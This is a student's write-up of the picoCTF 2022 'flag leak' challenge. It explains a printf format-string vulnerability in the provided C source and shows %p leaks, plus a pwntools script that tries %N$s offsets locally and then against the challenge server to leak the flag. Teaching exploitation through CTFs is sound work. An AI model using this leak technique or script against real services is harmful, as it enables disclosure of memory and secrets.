





Flag Leak

picoCTF 2022 challenges - [Link to the challenge](#)

Adwait Pathak | aap9113

flag leak 

 | 300 points 

Tags: **Category: Binary Exploitation** **format_string**

AUTHOR: NEEL BHAVSAR

Description

Story telling class 1/2

I'm just copying and pasting with this [program](#). What can go wrong? You can view source [here](#). And connect with it using:
`nc saturn.picoctf.net 50378`

This challenge launches an instance on demand.

Its current status is: **RUNNING**



Instance Time Remaining: **0:00**

Restart Instance

Hints 

1

1,072 solves / 1,148 users attempted (93%)

 74% Liked 

 picoCTF{FLAG}

Submit Flag

- We get a binary, a source code file and a remote server to connect to.
- We can analyze the binary using ghidra or use the source code.
- We do a checksec on the binary to see the security measures implemented on it.

```
kali@ubuntu writeup-task/flag_leak » checksec vuln_leak
[*] '/home/kali/hack/offsec/writeup-task/flag_leak/vuln_leak'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
kali@ubuntu writeup-task/flag_leak »
```

- There is no canary but the NX bit is enabled.
- The stack is non executable. Hence, we can't input our shellcode and transfer the control of the eip pointer to this code.
- Hence, analyzing the source code.

```

1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4  #include <unistd.h>
5  #include <sys/types.h>
6  #include <wchar.h>
7  #include <locale.h>
8
9  #define BUFSIZE 64
10 #define FLAGSIZE 64
11
12 void readflag(char* buf, size_t len) {
13     FILE *f = fopen("flag.txt", "r");
14     if (f == NULL) {
15         printf("%s %s", "Please create 'flag.txt' in this directory with your",
16             "own debugging flag.\n");
17         exit(0);
18     }
19
20     fgets(buf, len, f); // size bound read
21 }
22
23 void vuln(){
24     char flag[BUFSIZE];
25     char story[128];
26
27     readflag(flag, FLAGSIZE);
28
29     printf("Tell me a story and then I'll tell you one >> ");
30     scanf("%127s", story);
31     printf("Here's a story - \n");
32     printf(story);      format string vulnerability
33     printf("\n");
34 }
35
36 int main(int argc, char **argv){
37
38     setvbuf(stdout, NULL, _IONBF, 0);
39
40     // Set the gid to the effective gid
41     // this prevents /bin/sh from dropping the privileges
42     gid_t gid = getegid();
43     setresgid(gid, gid, gid);
44     vuln();
45     return 0;
46 }

```

- Trying to understand the source code, we can see that the input variable has size 128.

- We can try a buffer overflow but it won't work because the scanf is implemented where 127 bytes of data will be read.

```
kali@ubuntu writeup-task/flag_leak » ./vuln leak
Tell me a story and then I'll tell you one >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Here's a story -
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

- We see that our given input is shortened. Hence, we can't do a bof here.
- We need to go a few lines above a see the read_flag() function.
- The main function passes control to vuln(), where we go to read_flag().
- read_flag() does not print out the data, but it stores the data in a buffer variable.
- This variable will be present somewhere on the stack.
- Hence, it is not about redirecting the control to that function.
- Also, for the program to work, we need to create an additional file:
 1. *flag.txt*: containing a dummy flag for debugging
- We see that the printf() is not implemented properly and we can use this to our advantage.
- The compiler does not understand the miss-match in format specifiers and user-data.

eg: printf('%s', str_input) will print out the string contents from str_input

- But, in our case, when we do only `printf(%s)`, we get program memory as our output.
- The data for the program is stored on a stack and the `printf(format_specifier)` fetches values from the stack in this vulnerability.

Read about format string vulnerabilities -> Chapter 6: of Computer & Internet Security: A Hands-on Approach 2e, by Wenliang Du.

- Hence, we will be using format specifiers to leak output from the program data.
- This is because, the compiler doesn't check if the format specifiers have data in the format string.
- If it sees a format specifier, eg: '%s', it will go the the value above the stack, treat it as an address and print out the data it points to.

- If, if it sees '%p', it will go to the value above the stack, and print out the address.
- We will use the same approach and enter a bunch of "%p" in the format string as an input to the program.
- This should print out a few addresses for us.

```
kali@ubuntu writeup-task/flag_leak » ./vuln_leak
Tell me a story and then I'll tell you one >> %p.%p.%p.%p.%p.%p
Here's a story -
0xff9174c0.0xff9174e0.0x8049346.0x252e7025.0x70252e70.0x2e70252e
kali@ubuntu writeup-task/flag_leak »
```

[illegible]

- Now, we don't know which of these addresses point to what data.
- But, most of the addresses are kindof similar and some of them are different.
- Now, as explained earlier, we need the flag string that is stored in some variable which has to be on the stack.
- For this, we have to use the %s specifier which will get the string from the address on the stack.
- Now, we can calculate manually at which point we see a different address and specify that number to the %s.

eg: `%15$s` will return a string if present at the 15 position above the current location of the stack, else, the program will crash.

- This method will take a lot of trail and error.
- Rather, we can write a script that will test every position for the string value and if not present, returns a segfault.
- This way, we will be able to find the string present at every position above the stack.

```
pyscript.py — vulnpico x  pyscript.py — flag_leak x
1  from pwn import *
2
3  context.log_level = 'critical'
4  for i in range(30):
5      p = process('./vuln_leak')
6      # p = remote('saturn.picoctf.net', 50378)
7      payload = '%' + str(i) + '$s'
8      p.recvuntil(b'>>')
9
10     p.sendline(payload)
11
12     p.recv()
13     output = p.recv()
14
15     # print(output)
16     if (b'segmentation fault' in output):
17         print('segfault, it is')
18     else:
19         print(i, output)
20     p.close()
```

- This Python script will run thru a for loop (i) and send data to the binary in the mentioned method `%{i}$s`
- If we get a segfault, we know that there is no string in this position and we move to the next position.
- If there is a string, the position on the stack and the string content will be printed out to us.

```

kali@ubuntu writeup-task/flag_leak » python3 pyscript.py
pyscript.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(payload)
0 b"Here's a story - \n%0$s\n"
1 b"Here's a story - "
2 b"Here's a story - \n"
3 b"Here's a story - \n"
4 b"Here's a story - \n"
5 b"Here's a story - \n"
6 b"Here's a story - "
7 b"Here's a story - \n\x07/\n"
8 b"Here's a story - \n\n"
9 b"Here's a story - "
10 b"Here's a story - \n"
11 b"Here's a story - \n\xb3.\n"
12 b"Here's a story - \n\n"
13 b"Here's a story - \n(null)\n"
14 b"Here's a story - "
15 b"Here's a story - "
16 b"Here's a story - "
17 b"Here's a story - \n"
18 b"Here's a story - \n(null)\n"
19 b"Here's a story - \nsetresgid\n"
20 b"Here's a story - \n\t\xel\xfa\n"
21 b"Here's a story - \n\x89\xc7e\xa1\x0c\n"
22 b"Here's a story - \nsetresgid\n"
23 b"Here's a story - \n\n"
24 b"Here's a story - \n{offsec letsgoo}\n\n"
25 b"Here's a story - \n\xfa\xaa\xfa\xfa\n"
26 b"Here's a story - "
27 b"Here's a story - \n"
28 b"Here's a story - "
29 b"Here's a story - "

```

- We see our debugging flag in the output.
- Hence, we can see that the flag is being stored on the 24th position on the stack above the current position.
- Now, we can directly use %24\$s as input for the remote flag or we can run the same program to output more data present on the stack.
- Hence, taking the code remote.

```
pyscript.py — vulnpico x  pyscript.py — flag_leak x
1  from pwn import *
2
3  context.log_level = 'critical'
4  for i in range(30):
5      # p = process('./vuln_leak')
6      p = remote('saturn.picoctf.net', 50378)
7      payload = '%' + str(i) + '$s'
8      p.recvuntil(b'>>')
9
10     p.sendline(payload)
11
12     p.recv()
13     output = p.recv()
14
15     # print(output)
16     if (b'segmentation fault' in output):
17         print('segfault, it is')
18     else:
19         print(i, output)
20     p.close()
```

- We find the flag using the format string vulnerability
- The server port numbers change because the instance is restarted.

